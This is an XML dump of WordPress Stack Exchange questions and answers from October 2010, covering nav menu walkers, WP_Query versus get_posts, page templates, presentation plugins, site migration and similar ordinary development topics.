  <row Id="2718" PostTypeId="1" AcceptedAnswerId="2719" CreationDate="2010-10-08T07:56:47.463" Score="1" ViewCount="111" Body="&lt;p&gt;Is there a way to force SSL for all requests? Much like the option to use admin ssl, but for all requests, including the ones who are not logged in.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-10-08T08:40:51.540" Title="Howto force SSL for all requests?" Tags="&lt;ssl&gt;" AnswerCount="1" />
  <row Id="2719" PostTypeId="2" ParentId="2718" CreationDate="2010-10-08T08:40:51.540" Score="2" ViewCount="" Body="&lt;p&gt;Here is a complete guide:&#xA;&lt;a href=&quot;http://prosauce.org/blog/2010/08/enable-complete-support-for-ssl-on-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://prosauce.org/blog/2010/08/enable-complete-support-for-ssl-on-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-08T08:40:51.540" />
  <row Id="2720" PostTypeId="1" AcceptedAnswerId="2721" CreationDate="2010-10-08T09:02:24.313" Score="0" ViewCount="310" Body="&lt;p&gt;Have this function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class my_walker extends Walker_Nav_Menu {&#xA;&#xA;        function start_el(&amp;amp;$output, $item, $depth, $args) {&#xA;&#xA;            global $wp_query;&#xA;            $indent = ( $depth ) ? str_repeat(&quot;\t&quot;, $depth) : '';&#xA;&#xA;            $class_names = $value = '';&#xA;&#xA;            $classes = empty($item-&amp;gt;classes) ? array() : (array) $item-&amp;gt;classes;&#xA;            $classes[] = 'menu-item-' . $item-&amp;gt;ID;&#xA;&#xA;            $class_names = join(' ', apply_filters('nav_menu_css_class', array_filter($classes), $item));&#xA;            $class_names = ' class=&quot;' . esc_attr($class_names) . '&quot;';&#xA;&#xA;            $id = apply_filters('nav_menu_item_id', 'menu-item-' . $item-&amp;gt;ID, $item, $args);&#xA;            $id = strlen($id) ? ' id=&quot;' . esc_attr($id) . '&quot;' : '';&#xA;&#xA;            $output .= $indent . '&amp;lt;li' . $id . $value . $class_names . '&amp;gt;';&#xA;&#xA;            $attributes = !empty($item-&amp;gt;attr_title) ? ' title=&quot;' . esc_attr($item-&amp;gt;attr_title) . '&quot;' : '';&#xA;            $attributes .= ! empty($item-&amp;gt;target) ? ' target=&quot;' . esc_attr($item-&amp;gt;target) . '&quot;' : '';&#xA;            $attributes .= ! empty($item-&amp;gt;xfn) ? ' rel=&quot;' . esc_attr($item-&amp;gt;xfn) . '&quot;' : '';&#xA;            $attributes .= ! empty($item-&amp;gt;url) ? ' href=&quot;' . esc_attr($item-&amp;gt;url) . '&quot;' : '';&#xA;&#xA;            $item_output = $args-&amp;gt;before;&#xA;            $item_output .= '&amp;lt;a' . $attributes . '&amp;gt;';&#xA;            $item_output .= $args-&amp;gt;link_before . apply_filters('the_title', $item-&amp;gt;title, $item-&amp;gt;ID) . $args-&amp;gt;link_after;&#xA;            $item_output .= '&amp;lt;/a&amp;gt;';&#xA;            $item_output .= $args-&amp;gt;after;&#xA;&#xA;            $output .= apply_filters('walker_nav_menu_start_el', $item_output, $item, $depth, $args);&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to add my own counter instead of item-&gt;ID to add $myCounter(that will increment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = apply_filters('nav_menu_item_id', 'menu-item-' . $item-&amp;gt;ID, $item, $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = apply_filters('nav_menu_item_id', 'menu-item-' . $myCounter, $item, $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to adjust to crazy css menu.How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="1147" LastEditorDisplayName="" LastEditDate="2010-10-10T03:33:23.267" LastActivityDate="2010-10-10T03:33:23.267" Title="Applying my own css classes in wp_menus 3?" Tags="&lt;3.0.1&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2721" PostTypeId="2" ParentId="2720" CreationDate="2010-10-08T09:39:35.703" Score="1" ViewCount="" Body="&lt;p&gt;Do you need to modify walker or hook into it unmodified?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is filter provided for that id, it is easy to hook into. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'nav_menu_item_id', 'modify_menu_item_id' );&#xA;&#xA;function modify_menu_item_id( $text ) {&#xA;&#xA;    static $myCounter;&#xA;&#xA;    if( !isset( $myCounter ) )&#xA;         $myCounter = 0;&#xA;&#xA;    return 'menu-item-' . ++$myCounter;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; Changing walker&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // add to start of start_el method&#xA;        static $myCounter;&#xA;        if( !isset( $myCounter ) )&#xA;            $myCounter = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// change id lines to this&#xA;        $id = $args-&amp;gt;depth ? 'menu-item-' . $item-&amp;gt;ID : 'menu-item-' . ++$myCounter;&#xA;        $id = apply_filters('nav_menu_item_id', $id, $item, $args);&#xA;        $id = strlen($id) ? ' id=&quot;' . esc_attr($id) . '&quot;' : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to exclude sub-menus by checking for current depth and I think it should work properly with multiple menus because each will get new instance of walker object.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-10-08T10:30:13.540" LastActivityDate="2010-10-08T10:30:13.540" CommentCount="13" />
  <row Id="2722" PostTypeId="1" AcceptedAnswerId="6522" CreationDate="2010-10-08T10:51:51.453" Score="0" ViewCount="354" Body="&lt;p&gt;I am using Contact Form 7 on my website and would like to integrate Salesforce lead tracking with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to add a hidden field with my oid as suggested &lt;a href=&quot;http://www.e-nor.com/blog/index.php/web-analytics/avoid-data-dispersion-with-salesforce-and-google-adwords-integration/&quot; rel=&quot;nofollow&quot;&gt;on this site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I submit the contact form after adding this, it just gets stuck and never actually returns. As soon as I remove the hidden field, it starts working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone been able to integrate the lead tracking system with Wordpress Contact Form plugins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using cform with the instructions &lt;a href=&quot;http://www.jackreichert.com/2010/08/howto-salesforce-multiple-web-to-lead-forms-wordpress/&quot; rel=&quot;nofollow&quot;&gt;provided here&lt;/a&gt;. But this gives a warning that fopen failed. I assume thats because fopen does not allow write operations with HTTP wrappers. Not sure how the author managed to get it working!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would appreciate any help on this! I do not want to use the salesforce Web-to-lead form. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1070" LastActivityDate="2011-02-21T04:44:16.490" Title="Salesforce lead tracking with contact forms plugins" Tags="&lt;3.0&gt;&lt;contact&gt;&lt;contact-form-7&gt;" AnswerCount="3" />
  <row Id="2724" PostTypeId="2" ParentId="1496" CreationDate="2010-10-08T12:43:00.990" Score="2" ViewCount="" Body="&lt;p&gt;I've had this problem before. There's an easy way and a hard way to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy solution: use a Linux server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hard solution: write your own contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IIS 6 doesn't play nice with anything WordPress uses or does. It works on XAMPP because that's a LAMP stack running PHP, MySQL, Apache, and (usually, for Windows) Tomcat. When IIS runs those scripts, it's all going through Windows. Think of your site as fuel, and Windows and Linux as different kinds of engines (diesel and regular. You can decide which you think is which). What works for one doesn't necessarily work for the other.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-08T12:43:00.990" CommentCount="1" />
  <row Id="2725" PostTypeId="1" AcceptedAnswerId="2726" CreationDate="2010-10-08T12:54:13.410" Score="0" ViewCount="169" Body="&lt;p&gt;I have defined several page templates on my site &lt;a href=&quot;http://178.21.128.82/&quot; rel=&quot;nofollow&quot;&gt;http://178.21.128.82/&lt;/a&gt;. When I set my pages to use one of these page templates, wordpress seems to stop treating it as a page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is not accepted in the is_page() conditional tag&lt;/li&gt;&#xA;&lt;li&gt;The body class &quot;page&quot; is not present (instead its showing &quot;home&quot;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Only when I use the default page template for my pages they are truly treated as a page by wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got a clue what´s going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=wpfp_favorites&amp;amp;orderby=meta_value');&#xA;&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;    $start = get_post_meta($post-&amp;gt;ID, '5Start', true);&#xA;    $stop = get_post_meta($post-&amp;gt;ID, '6Slutt', true);&#xA;&#xA;    if(is_active($start, $stop)) { &#xA;        $offer = print_offer($post-&amp;gt;ID, $start, $stop);&#xA;        echo $offer;&#xA;    }&#xA;&#xA;endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-10-08T13:41:16.903" Title="Custom page template, not acting as page" Tags="&lt;3.0&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2726" PostTypeId="2" ParentId="2725" CreationDate="2010-10-08T13:41:16.903" Score="1" ViewCount="" Body="&lt;p&gt;Thought so...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are using &lt;code&gt;query_posts()&lt;/code&gt; and this nukes native page's loop and replaces all relevant data with your query. Since your query isn't for page - your page is no longer treated as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Always&lt;/strong&gt; use &lt;code&gt;get_posts()&lt;/code&gt; or new &lt;code&gt;WP_Query&lt;/code&gt; object for secondary loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;When should you use WP_Query vs query_posts() vs get_posts()?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-08T13:41:16.903" CommentCount="5" />
  <row Id="2727" PostTypeId="1" CreationDate="2010-10-08T13:49:48.810" Score="0" ViewCount="113" Body="&lt;p&gt;I need to target all pages using a specific page template with a conditional tag (like is_page()). Anyone done something like that before?&lt;/p&gt;&#xA;" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-10-08T13:55:29.920" LastActivityDate="2010-10-08T13:55:36.067" Title="Target pages using a specific page template" Tags="&lt;3.0&gt;&lt;conditional-content&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2728" PostTypeId="2" ParentId="2727" CreationDate="2010-10-08T13:55:36.067" Score="2" ViewCount="" Body="&lt;p&gt;Almost guessed it. :) There is native &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#Is_a_Page_Template&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_page_template()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-08T13:55:36.067" CommentCount="2" />
  <row Id="2729" PostTypeId="2" ParentId="2665" CreationDate="2010-10-08T14:07:33.453" Score="0" ViewCount="" Body="&lt;p&gt;You are adding filter, not an action. I don't know how Genesis hook works, but native &lt;code&gt;wp_nav_menu_items&lt;/code&gt; passes (and expects back) markup of custom menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of echoing your additional stuff you should append it to input and return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is clearly how it's done in tutorial you linked to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_items','follow_icons',10,1);&#xA;function follow_icons($output) {&#xA;    $follow = 'some stuff';&#xA;    return $output.$follow;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Upd.&lt;/strong&gt; Forgot to add about sidebar part. Since sidebars are echoed by definition you will likely have to buffer its output to use in such fashion. Maybe instead of making widget ares literally inside menu it is better to look for hook that allows to do this nearby?&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-10-08T17:04:19.883" LastActivityDate="2010-10-08T17:04:19.883" />
  <row Id="2730" PostTypeId="1" AcceptedAnswerId="2731" CreationDate="2010-10-08T17:59:46.353" Score="4" ViewCount="189" Body="&lt;p&gt;I'm looking for a solution that would enable me to publish a presentation inside WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to attach a PPT file or embed a Flash plugin for that, I'm looking for a HTML solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be preferable to be able to use PowerPoint to create the presentation but this is not a hard requirement, more important is to output a nice presentation for the users, one with auto-play.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:14:40.230" LastActivityDate="2011-05-10T08:56:56.420" Title="Publishing presentations in WordPress?" Tags="&lt;plugin-recommendation&gt;&lt;media&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2731" PostTypeId="2" ParentId="2730" CreationDate="2010-10-08T18:27:07.470" Score="2" ViewCount="" Body="&lt;p&gt;I've run into this problem before with both PPT files and PDF documents.  The solution, actually, was quite simple ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a plug-in called &lt;a href=&quot;http://wordpress.org/extend/plugins/pdf-and-ppt-viewer/&quot; rel=&quot;nofollow&quot;&gt;PDF and PPT Viewer&lt;/a&gt; that will uses Google Docs to render your presentation inside the page.  Each slide/page is rendered as a image using Google's API rather than Flash or a native file viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this extensively on my portfolio to show PDF files without requiring a file download or browser plug-in.  Here's a specific, live example of a press release I did in January: &lt;a href=&quot;http://work.eamann.com/2010/02/publicity-release/&quot; rel=&quot;nofollow&quot;&gt;http://work.eamann.com/2010/02/publicity-release/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note how the plug-in embeds the Google viewer in an iFrame on the page.  The file itself is hosted on my own site (I used the WordPress media gallery uploader).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; The plug-in download page claims the system is only tested through WP 2.8.4, however the site I've referenced above is using 3.0.1 ... it &lt;em&gt;is&lt;/em&gt; compatible with the latest release of WordPress, the author just hasn't updated the documentation yet!&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:56:56.420" LastActivityDate="2011-05-10T08:56:56.420" />
  <row Id="2732" PostTypeId="2" ParentId="2657" CreationDate="2010-10-08T19:38:07.190" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://wordpress.org/extend/plugins/tweet-blender/&quot; rel=&quot;nofollow&quot;&gt;Tweet Blender&lt;/a&gt; plugin. I recently added this to our site to allow only certain contributors with using a predefined hash tag to have their posts show up. This helped prevent twitter users using the same hash tag from showing up, and gave the contributors the freedom to post &quot;random&quot; items to their own feed.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2010-10-08T19:38:07.190" />
  <row Id="2733" PostTypeId="2" ParentId="1743" CreationDate="2010-10-08T20:04:14.403" Score="3" ViewCount="" Body="&lt;p&gt;There are a few ways you can do this. My preferred way of doing this is using Object Oriented Programming (OOP) to structure the plugin. For example, I might do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JPBTitle {&#xA;  var $page_title = &quot;Post Products Settings&quot;;&#xA;&#xA;  function __construct(){&#xA;    add_action( 'admin_menu', array( $this, 'admin_menu' ) );&#xA;  }&#xA;&#xA;  function admin_menu(){&#xA;    add_options_page( $this-&amp;gt;page_title, $this-&amp;gt;page_title, 'administrator', 'pp_settings', array( $this, 'pp_settings' ) );&#xA;  }&#xA;&#xA;  function pp_settings(){&#xA;    echo &quot;&amp;lt;div class='wrap'&amp;gt;\n\t&amp;lt;h2&amp;gt;$this-&amp;gt;page_title&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;  }&#xA;}&#xA;&#xA;$JPBTitle = new JPBTitle();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are many many advantages to using object oriented programming in plugins; however, if you don't want to use OOP, I would suggest either setting a global variable or defining a constant with the value you want to use for that string.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-10-09T13:36:30.337" LastActivityDate="2010-10-09T13:36:30.337" />
  <row Id="2734" PostTypeId="1" CreationDate="2010-10-08T20:28:56.123" Score="0" ViewCount="206" Body="&lt;p&gt;I have two different pieces of code and it's returning two different results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search_query = new WP_Query();&#xA;$search_posts = $search_query-&amp;gt;query('s=computer'); &#xA;echo count($search_posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search_posts = get_posts('s=computer');&#xA;echo count($search_posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the reason for the different values? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(The value provided by the first one is correct. It's the same as the number of posts that I get when I do a regular search in WP. But the first piece of code won't work inside the plugin's php file, it would work only in a template.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-10T00:55:05.493" LastActivityDate="2010-12-01T14:08:41.530" Title="Different Results with query('s=computer') vs get_posts('s=computer')?" Tags="&lt;wp-query&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="2735" PostTypeId="2" ParentId="2734" CreationDate="2010-10-08T21:08:53.477" Score="6" ViewCount="" Body="&lt;p&gt;The default arguments for &lt;code&gt;get_posts()&lt;/code&gt; function include &lt;code&gt;'numberposts' =&amp;gt; 5&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you're querying for a search term that returns more than five (5) results the second query will return a maximum value of &lt;code&gt;5&lt;/code&gt; unless you pass &lt;code&gt;'s=computer&amp;amp;numberposts=-1'&lt;/code&gt; as your query string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;WP_Query&lt;/code&gt; object doesn't have a &lt;code&gt;'numberposts'&lt;/code&gt; default, although it is affected by the &lt;em&gt;&quot;Blog pages show at most&quot;&lt;/em&gt; count in your settings panel. So if you want the total count using the &lt;code&gt;query()&lt;/code&gt; function, you should override the defaults like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search_query-&amp;gt;query('s=computer&amp;amp;nopaging=true')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-10T00:53:44.560" LastActivityDate="2010-10-10T00:53:44.560" CommentCount="3" />
  <row Id="2736" PostTypeId="2" ParentId="2722" CreationDate="2010-10-08T23:12:15.203" Score="0" ViewCount="" Body="&lt;p&gt;May I ask why you don't want to use S/F's web to lead?  I had a client that wanted to the same, and salesforce's web to lead form worked.  It works best though if you paste the code directly into the template.  And their web to lead code provides built in js validation, so you don't really have to do much other than style it.  &lt;/p&gt;&#xA;" LastActivityDate="2010-10-08T23:12:15.203" CommentCount="1" />
  <row Id="2737" PostTypeId="2" ParentId="2730" CreationDate="2010-10-09T02:06:07.617" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Sorin Sbarnea&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm almost thinking this question is out of scope, being more a &lt;em&gt;&quot;How do I get a PowerPoint presentation displayed on the web&quot;&lt;/em&gt; and less of a WordPress question. But I'll go ahead and make a few suggestions:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use HTML Slidy or S5?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can integrate &lt;a href=&quot;http://www.w3.org/Talks/Tools/Slidy2/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;HTML Slidy&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://meyerweb.com/eric/tools/s5/s5-intro.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;S5&lt;/strong&gt;&lt;/a&gt; into WordPress using a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2018/how-do-i-add-my-own-custom-shortcodes&quot;&gt;shortcode&lt;/a&gt;. Regarding conversation from PPT to (X)HTML, here are references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://pubs.logicalexpressions.com/pub0009/LPMArticle.asp?ID=46&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PowerPoint to HTML&lt;/strong&gt;&lt;/a&gt; (also &lt;em&gt;&quot;&lt;a href=&quot;http://www.linux.com/archive/feed/41732&quot; rel=&quot;nofollow&quot;&gt;Showing off S5&lt;/a&gt;&quot;&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.pptools.com/ppt2html/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PPT2HTML&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Use SlideShare?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alternately you can consider using &lt;a href=&quot;http://www.slideshare.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SlideShare&lt;/strong&gt;&lt;/a&gt; which has the added benefit of making your slides available in the SlideShare community (assuming broader exposure is a benefit.) Here's a plugin to help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yoast.com/wordpress/slideshare/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SlideShare Plugin for WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Also See:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://staff.washington.edu/tft/talks/powerpoint/s5.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PowerPoint &amp;amp; Friends: Accessible Slides On The Web&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-09T02:06:07.617" />
  <row Id="2738" PostTypeId="1" AcceptedAnswerId="2740" CreationDate="2010-10-09T04:40:20.940" Score="5" ViewCount="360" Body="&lt;p&gt;I have my WordPress site being hosted on a Windows provider and I am moving to another Windows provider. Any gotchas or instructions on how i can smoothly transition from one to another without losing any info?&lt;/p&gt;&#xA;" OwnerUserId="1195" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-10T00:23:08.820" LastActivityDate="2010-12-24T08:48:45.113" Title="Migrating a WordPress site from One Hosting Provider to Another?" Tags="&lt;hosting&gt;&lt;migration&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="5" />
  <row Id="2739" PostTypeId="2" ParentId="2738" CreationDate="2010-10-09T06:03:49.963" Score="1" ViewCount="" Body="&lt;p&gt;Follow this codex page: &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress#Moving_WordPress_to_a_New_Server&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress#Moving_WordPress_to_a_New_Server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-09T06:03:49.963" />
  <row Id="2740" PostTypeId="2" ParentId="2738" CreationDate="2010-10-09T09:33:35.123" Score="10" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@ooo&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you want to keep the same domain, it's really quite simple. Basically you copy the files using an FTP client by downloading from the old host and uploading to the new one, and then you copy the MySQL database by doing a database dump to a SQL script (this is your &lt;em&gt;&quot;export&quot;&lt;/em&gt;) and then running the script (and this is your &lt;em&gt;&quot;import&quot;&lt;/em&gt;.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest are just details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) &lt;strong&gt;Use FTP to download all the files&lt;/strong&gt; from the web root and all its subdirectories of your old hosted web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) &lt;strong&gt;Upload all those same files&lt;/strong&gt; to the web root of the new hosted web server in the exact same named directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) &lt;strong&gt;Do a full database dump&lt;/strong&gt; (i.e. export) of your MySQL database as a SQL script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) &lt;strong&gt;Create a new MySQL database&lt;/strong&gt; at your new web host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5.) &lt;strong&gt;Create a user for your MySQL database&lt;/strong&gt; and set it to have all permissions. Be sure to record the name of the database, of the user and of the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6.) &lt;strong&gt;Import your MySQL database&lt;/strong&gt; by running the MySQL script in context of your new database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7.) &lt;strong&gt;Next edit your &lt;code&gt;/wp-config.php&lt;/code&gt; file&lt;/strong&gt; on your new server and give set &lt;code&gt;DB_NAME&lt;/code&gt;, &lt;code&gt;DB_USER&lt;/code&gt; and &lt;code&gt;DB_PASSWORD&lt;/code&gt; to your new database name, new database user name and new database user password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7.) Finally, be sure to &lt;strong&gt;change your domain's DNS settings&lt;/strong&gt; so it uses the name servers from your new web host. You;ll need to wait the timeout for the DNS cache to clear and the addresses to propagate &lt;em&gt;(typically it only takes a few hours but it can take up to 48 before your new site is accessible.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats about it.  If you need more specifics be sure to give a lot more details about your new host including minimally the name and website of your new host and if possible what type of control panel they offer for you to administer your site (i.e. &lt;a href=&quot;http://www.cpanel.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CPanel&lt;/strong&gt;&lt;/a&gt; or something else?)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-09T09:33:35.123" />
  <row Id="2741" PostTypeId="2" ParentId="2730" CreationDate="2010-10-09T11:35:27.893" Score="0" ViewCount="" Body="&lt;p&gt;Another solution is to use this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-document-embedder/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/google-document-embedder/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is what I use)&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-10-09T11:35:27.893" />
  <row Id="2742" PostTypeId="1" AcceptedAnswerId="2774" CreationDate="2010-10-09T11:39:35.013" Score="1" ViewCount="319" Body="&lt;p&gt;I have started a new site (&lt;a href=&quot;http://www.forex-bloggers.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;), I want to add the theme a RSS icon/logo on the top right of the theme (like in &lt;a href=&quot;http://www.r-bloggers.com/&quot; rel=&quot;nofollow&quot;&gt;this theme&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way for doing that?  (PHP/CSS wise)&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-10-11T07:32:32.193" Title="How to add an RSS logo to my blogs header?" Tags="&lt;css&gt;&lt;rss&gt;&lt;themes&gt;&lt;logo&gt;&lt;icon&gt;" AnswerCount="3" />
